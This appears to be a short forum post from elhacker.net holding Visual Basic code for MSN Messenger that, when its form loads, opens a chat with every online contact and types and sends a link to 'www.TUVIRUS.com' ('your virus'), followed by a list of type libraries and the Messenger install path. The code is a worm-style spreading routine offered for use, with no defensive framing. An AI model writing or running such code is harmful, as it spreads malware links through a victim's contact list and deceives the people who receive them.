Foro de elhacker.net

Public WithEvents msn As MessengerAPI.Messenger

Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
    For Each user In MsgrUIA.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
        Set venta = MsgrUIA.InstantMessage(user)
              SendKeys "www.TUVIRUS.com" 'url
              SendKeys "{ENTER}"
             SendKeys "%Z"
        End If
      Next
Set MsgrUIA = Nothing
End Sub

Set MsgrUIA = New MessengerAPI.Messenger

Messenger API Type Library
Messenger Private Type Library
Messenger Type Library

C:\Archivos de programa\Messenger\msmsgs.exe